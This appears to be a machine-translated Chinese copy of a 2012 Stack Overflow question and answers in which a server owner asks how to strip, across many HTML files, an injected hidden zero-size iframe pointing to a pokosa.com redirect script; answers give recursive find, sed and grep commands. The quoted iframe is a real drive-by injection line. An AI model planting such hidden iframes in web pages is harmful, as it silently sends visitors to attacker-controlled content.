2012-02-07 111 views
2

的線A的惡意軟件攻擊我的服務器,並增加了行我需要刪除多個文件

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe> 

很多我的網頁

的我如何使用grep刪除它,或者如果有任何其他的方式,我可以從所有文件中刪除它,它影響

編輯:我看到了有關使用SED的意見,但我需要一個遞歸解決方案,如果有一個

感謝

+0

看看:http://stackoverflow.com/questions/1182756/remove-line-of-text-from-multiple-files-in-linux – skippr 2012-02-07 15:52:15

+0

我想你還應該關心如何理解這種惡意軟件的發生能夠穿透你的系統,以避免再次發生攻擊... – 2012-02-07 17:14:46

回答

3

您可以使用findsed以遞歸方式查找所有感興趣的文件,並從中刪除違規行。

例如,以下命令將從當前目錄及其所有子目錄中的所有.html文件中刪除違規行。

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \; 
3

您可以使用sed來替換文件。類似於

$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file 

應該爲單個文件執行此操作。傳統上,人們使用/作爲分隔符,但當您的搜索字符串中有很多/ s時,這會變得很麻煩。那麼使用|比較容易。

結合sedfindxargs爲多個文件做同樣的:

$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||' 
2

最簡單的方法很可能是用倒置grep

$ grep -v pokosa <input> output 

你可能想使輸出與帶有一些額外後綴的輸入相同,然後在重命名輸入文件之前運行一些diff:s來驗證它是否正確。

+0

有趣的想法 - 如果每場比賽都是在一條線上獨自工作,很好。另外一個提示是'input'和'output' *必須是不同的:'grep -v < a.html > a.html'你在讀取任何東西之前最終會截斷'a.html'!只是一件小事要小心:-) – 2012-02-07 15:55:16